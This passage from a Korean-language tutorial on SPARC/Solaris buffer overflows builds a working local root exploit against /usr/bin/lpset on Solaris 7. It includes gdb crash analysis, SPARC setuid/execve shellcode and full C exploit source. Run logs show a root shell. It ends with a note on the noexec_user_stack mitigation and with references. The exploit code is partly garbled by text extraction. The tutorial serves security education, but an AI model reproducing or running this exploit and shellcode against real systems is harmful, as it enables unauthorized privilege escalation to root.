* 위의 exploit에서보면 main() 의 %fp가들어가는곳에위에서구한 %sp의주소값을넣주는걸볼수있다.( *ptr++=sp;) 앞에서도말했듯이 Sparc은파이프라인을사용하므로 ret와동시에 restore instruction이실행된다. ret가 %pc를바꾸기전에 restore가실행되므로 (%pc를바꾼후실행된다면 restore 전에쉘코드가실행되므로이부분은필요없지만..) restore 실행시 %fp에있는주소값이우리가쓸수없는곳 ( 만약 *ptr++=sp; 를않해주면 %fp에는쉘코드의끝 4바이트인 " x91 xd0 x20 x08" 이들어갈것이고이주소는우리가쓸수없는영역이다.) 이라면쉘코드가실행되기전에 segmentation fault가나며종료될것이다.( 앞에서설명한 restore instruction 의동작을잘생각해보면알것이다.) 그러므로 %fp에쓰기가능한주소값을줘야하는데스택공간이나기타쓰기가능한영역의주소값을주면된다. 여기서는 get_sp() 로구한 stack pointer address를주었다. 이제잘동작하는지실행해보자. [sun]./exp Stack Pointer: ffbefa60 Code location: ffbefa60 0xffbef9d0 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbef9e0 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbef9f0 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefa00 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefa10 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefa20 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefa30 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefa40 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefa50 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefa60 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefa70 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefa80 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefa90 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefaa0 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefab0 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefac0 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefad0 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15 aa 1d 40 15..@...@...@...@. 0xffbefae0 90 1a 40 09 82 10 20 17 91 d0 20 08 21 0b d8 9a..@.......!... 0xffbefaf0 a0 14 21 6e 23 0b dc da 90 23 a0 10 92 23 a0 08..!n#...#...#.. 0xffbefb00 94 1b 80 0e e0 3b bf f0 d0 23 bf f8 c0 23 bf fc...;...#...#.. 0xffbefb10 82 10 20 3b 91 d0 20 08 ff be fa 60 ff be fa 60.. ;.....`...` 0xffbefb20 00 00 00 00 ff be fc 99 ff be fb 50 00 01 08 54...P...T 0xffbefb30 00 00 00 03 ff be fb b4 00 00 00 04 ff be fb c0... 0xffbefb40 00 00 00 05 ff be fc 18 00 00 00 00 00 00 00 00... 0xffbefb50 00 00 00 02 ff be fb b4 00 00 00 00 00 00 00 00... # id uid=0(root) gid=130(tyger)
offset을찍을필요도없이한방에성공했다. main() 의 ret를보면 0xffbefa60이들어가있고 ( 실제 return address 는 0xffbefa68이될것이다.) 이곳은 nop이있는주소다. 내친김에이제실전익스플로잇에도전해보자. 현재테스트시스템인 Solaris 7의취약점을찾다가일본의 Shadowpenguin security group에서발표한 /usr/bin/lpset을찾았다. /usr/bin/lpset에는버퍼오버플로우취약점이존재하는데다음과같이할경우오버플로우가발생한다. [sun]lpset -n fns -a A=`perl -e 'print "A"x900'` blah write operation failed [sun]lpset -n fns -a A=`perl -e 'print "A"x1024'` blah Bus Error (core dumped) <- overflowed!! [sun]gdb -q /usr/bin/lpset core (no debugging symbols found)... ~~~~~~~~~~~~~~~~~~(snip)~~~~~~~~~~~~~~~~~ (no debugging symbols found)...done. #0 0xff377268 in ns_printer_put () from /usr/lib/libprint.so.2 (gdb) bt #0 0xff377268 in ns_printer_put () from /usr/lib/libprint.so.2 Cannot access memory at address 0x41414179. (gdb) i r ~~~~~~~~~~~~~~~~~(snip)~~~~~~~~~~~~~~~~~~~~~~~~~ o0 0x100 256 o1 0xff38a87c -13064068 o2 0x276f8 161528 o3 0xff37865c -13138340 o4 0x100 256 o5 0xff377260-13143456 sp 0xffbef738-4262088 o7 0xff377260-13143456 l0 0x41414141 1094795585 l1 0x41414141 1094795585 l2 0x41414141 1094795585 l3 0x41414141 1094795585 l4 0x41414141 1094795585 l5 0x41414141 1094795585 l6 0x41414141 1094795585 l7 0x41414141 1094795585 i0 0x41414141 1094795585 i1 0x41414141 1094795585 i2 0x41414141 1094795585 i3 0x41414141 1094795585 i4 0x41414141 1094795585 i5 0x41414141 1094795585
fp 0x41414141 1094795585 i7 0x41414141 1094795585 ~~~~~~~~~~~~~~~~~~~~~~~(snip)~~~~~~~~~~~~~~~~~~~~ pc 0xff377268-13143448 npc 0xff37726c -13143444 ~~~~~~~~~~~~~~~~~~~~~~~(snip)~~~~~~~~~~~~~~~~~~~ (gdb) disas 0xff377268 ~~~~~~~~~~~~~~~~~~~~~~~(snip)~~~~~~~~~~~~~~~~~~~ 0xff377260 <ns_printer_put+76>: call %o1 0xff377264 <ns_printer_put+80>: mov %i0, %o0 0xff377268 <ns_printer_put+84>: ret 0xff37726c <ns_printer_put+88>: restore %g0, %o0, %o0 0xff377270 <ns_printer_put+92>: mov -1, %i0 0xff377274 <ns_printer_put+96>: ret 0xff377278 <ns_printer_put+100>: restore End of assembler dump. call %o1 수행후그다음 instruction 인 ret/restore 에서뭔가잘못됐음을알수있다. (gdb) x/32x $sp 0xffbef738: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef748: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef758: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef768: 0x41414141 0x41414141 0x41414141 0x41414141 <- %i7, 이곳을우리의쉘 코드주소로 overwrite해야한다. 0xffbef778: 0x41412220 0x3e2f6465 0x762f6e75 0x6c6c2032 2바이트초과 0xffbef788: 0x3e263100 0x81010100 0x0000ff00 0x000111cc 0xffbef798: 0x78666e5f 0x7075745f 0x7072696e 0x74657200 0xffbef7a8: 0x00000000 0xff31fa80 0xffbef7b8 0x000110c0 call %o1 의 stack 을한번살펴보자. (gdb) x/1000x $sp-1200 0xffbef288: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef298: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef2a8: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef2b8: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef2c8: 0x7ffffbac 0xff338fb0 0xff338fa8 0x01414141 0xffbef2d8: 0x41414141 0x2200e3d0 0xff000000 0x00ff0000 sp 0xffbef2e8: 0x0000ff00 0x00000000 0x00000000 0x00000000
0xffbef2f8: 0x00025050 0xff38a87c 0x000276f8 0xff37865c 0xffbef308: 0x00000100 0xff377260 0xffbef738 0xff377260 %fp= 현재 %sp 0xffbef318: 0xfefc0454 0xffbef338 0x0000023c 0xff38b840 0xffbef328: 0xff38b85c 0x000271b8 0x000276f8 0x000271b8 0xffbef338: 0x2f757372 0x2f62696e 0x2f666e63 0x72656174 로컬변수시작주소 0xffbef348: 0x655f7072 0x696e7465 0x72202d73 0x20746869 0xffbef358: 0x736f7267 0x756e6974 0x2f736572 0x76696365 0xffbef368: 0x2f707269 0x6e746572 0x20626c61 0x68202022 0xffbef378: 0x413d4141 0x41414141 0x41414141 0x41414141 우리가덮어씌운변수의시작주소 ~~~~~~~~~~~~~~~~~~(snip)~~~~~~~~~~~~~~~~~~~~~~~ call %o1후 save instruction에의해예전 sp(0xffbef738) 를새 fp로바꿀것이다. 그러므로 0xffbef738값을갖는위 치가 %fp가들어가는주소이며위와같이 sp주소는 0xffbef2d8이고거기서부터차례로 64바이트 (%l*/%i*) + 24바 이트가들어간후로컬변수를위한공간이할당됨을추측할수있다. 추측이맞는지다시한번확인해보자. (gdb) x/10s 0xffbef338 0xffbef338: "/usr/bin/fncreate_printer -s thisorgunit/service/printer blah "A=", 'A' <repeats 134 times>... 0xffbef400: 'A' <repeats 200 times>... 0xffbef4c8: 'A' <repeats 200 times>... 0xffbef590: 'A' <repeats 200 times>... 0xffbef658: 'A' <repeats 200 times>... 0xffbef720: 'A' <repeats 90 times>, " " >/dev/null 2>&1" 0xffbef78c: " 201 001 001" 0xffbef790: "" 0xffbef791: "" 0xffbef792: " " 이제대충감이잡힌다. 0xffbef778-0xffbef378=400(1024) 바이트를 overwrite하면위의리턴어드레스-8 주소를갖고있는 %i7이있는주소까지를 overwrite할수있을것이다. 여기서한가지주의해야할게있는데 0xffbef338: "/usr/bin/fncreate_printer -s thisorgunit/service/printer blah "A=", 'A' <repeats 134 times>... 여기서보면우리가프린터이름으로준 'blah' 가오버플로우스트링으로준 AAAA... 보다앞에들어간다. 그러므로 blah대신에다른프린터이름을주면그만큼뒤로혹은앞으로밀리게되므로바꿔준프린터이름에맞게계산해줘야한다. 이제위의분석을토대로익스플로잇을만들어보자. [sun]cat lpset_exp.c ------------------------------------------------------------------------------ #include <stdio.h> #include <stdlib.h>
#define BSIZE 1024+1 #define PRINTER "blah" char sh[]= /* 56bytes */ /* setuid(0); */ " x90 x1a x40 x09 x82 x10 x20 x17" " x91 xd0 x20 x08" /* execve() */ " x21 x0b xd8 x9a" /* sethi %hi(0x2f626800), %l0 */ " xa0 x14 x21 x6e" /* or %l0, 0x16e, %l0! 0x2f62696e */ " x23 x0b xdc xda" /* sethi %hi(0x2f736800), %l1 */ " x90 x23 xa0 x10" /* sub %sp, 16, %o0 */ " x92 x23 xa0 x08" /* sub %sp, 8, %o1 */ " x94 x1b x80 x0e" /* xor %sp, %sp, %o2 */ " xe0 x3b xbf xf0" /* std %l0, [%sp - 16] */ " xd0 x23 xbf xf8" /* st %o0, [%sp - 8] */ " xc0 x23 xbf xfc" /* st %g0, [%sp - 4] */ " x82 x10 x20 x3b" /* mov 59, %g1 59 = SYS_execve() */ " x91 xd0 x20 x08" /* ta 8 */ ; unsigned long get_sp(void) { asm ("mov %sp,%i0"); int main(int argc,char *argv[]) { int i; char buf[bsize]; unsigned long addr,sp,*ptr; unsigned long nop=0xaa1d4015; /* xor %l5,%l5,%l5 */ addr=sp=get_sp(); printf("stack Pointer: %lx n",sp); if(argv[1]) { addr+=strtoul(argv[1],(void *)0,16); printf("code location: %lx n",addr);
bzero(buf,bsize); for(i=0;i<bsize-strlen(sh)-9;i+=4) { memcpy(buf+i,&nop,4); memcpy(buf,"a=",2); memcpy((buf+bsize-strlen(sh)-9),sh,strlen(sh)); /* ptr은 %fp의주소를포인트 */ ptr=(unsigned long *)&(buf[bsize-9]); /* %fp에우리의 sp주소를넣는다 */ *ptr++=sp; /* %i7에 nop+shellcode의주소를넣는다 */ *ptr++=addr; buf[bsize]=' 0'; execle("/usr/bin/lpset","lpset","-n","fns","-a",(buf+strlen(printer)-4),printer,null); ----------------------------------------------------------------------- [sun]./lpset_exp usage:./lpset_exp <offset> <align> Stack Pointer: ffbef7c0 Code location: ffbef7c0 # id uid=0(root) gid=130(tyger) 멋지게성공했다. 참고로 Solaris 에선스택기반버퍼오버플로우를방지하기위한방법을제공하는데 /etc/system 에 set noexec_user_stack=1 과 set noexec_user_stack_log=1( 로그에기록 ) 을추가해주면된다.( 재부팅후에적용됨 ) ( 엄밀히말해선버퍼오버플로우자체를방지하는게아니라버퍼오버플로우가되더라도스택상에서쉘코드나기타코드가실행되지못하게하는것이다.) 하지만이걸우회하는방법이이미 horizon 이란사람에의해발표되었다. return into libc 기법을이용하는데관심있는사람은아래참고문헌중 Defeating Solaris/SPARC Non-Executable Stack Protection 글을참고하기바란다. 5. 결론 마지막으로 x86 linux 에서버퍼오버플로우익스플로잇을할때랑차이점에대해설명하고이글을마칠까한다.
- alignment 대부분의 CISC 프로세서가그렇듯이 x86에선정렬하지않고서메모리주소값을쓸수있다. 하지만대부분의 RISC 프로세서가그렇듯이 Sparc에선 4바이트 boundary에있지않은메모리주소를읽거나쓰거나 jump할수없다. 앞에서도보았듯이만약우리가 overwrite한리턴어드레스가 nop 4바이트의중간의주소라면어떻게될까생각해보면쉽게이해가갈것이다. 그러므로익스플로잇을만들시버퍼 (vulnerable 프로그램의버퍼가아닌우리의익스플로잇에서사용할버퍼 ) 의크기와 overwrite할리턴어드레스의크기도 4의배수여야하며익스플로잇버퍼내에서쉘코드의위치도 4바이트 boundary에위치해야함을주의해야한다. - return address의위치앞에서도살펴보았듯이리턴어드레스가들어가는 %i7의위치가스택상에서로컬변수보다상위에위치한다. 그러므로익스플로잇을위해선한함수이상을호출해야하며이호출된함수에서오버플로우를위한버퍼를가지고있어야한다. - pipeline Sparc은 pipeline을사용하므로 ret instruction이 %pc를바꾸기전에 restore instruction이실행된다. 그러므로 %fp에우리가쓸수없는메모리주소값을가지고있다면쉘코드가실행되기전에 segmentation fault가발생하고익스플로잇이실패하게된다. 6. 참고문헌 - Exploiting SPARC Buffer Overflow vulnerabilities http://www.u-n-f.com/papers/unf-sparc-overflow.html - SPARC overflow http://khdp.org/docs/common_doc/buffer2.txt http://khdp.org/docs/common_doc/buffer3.txt - Defeating Solaris/SPARC Non-Executable Stack Protection http://packetstormsecurity.nl/groups/horizon/stack.txt - The Sparc Architecture http://www.cs.indiana.edu/~crcarter/sparc/ - SPARC Assembly Language Reference Manual http://www.sparc.org/ - My HardDisk http://localhost/doc/sparc/ ( 어디서받았는지기억이안나네요.-_-)
( 잡담 ) 워낙글재주가없다보니글이두서도없고장황하게된거같네요.^^ 이글에대한저작권같은건없습니다. 다만임의로수정후배포는하지말아주셨으면합니다. 서두에서도말했듯이잘못된부분이나추가할사항있으면메일주세요.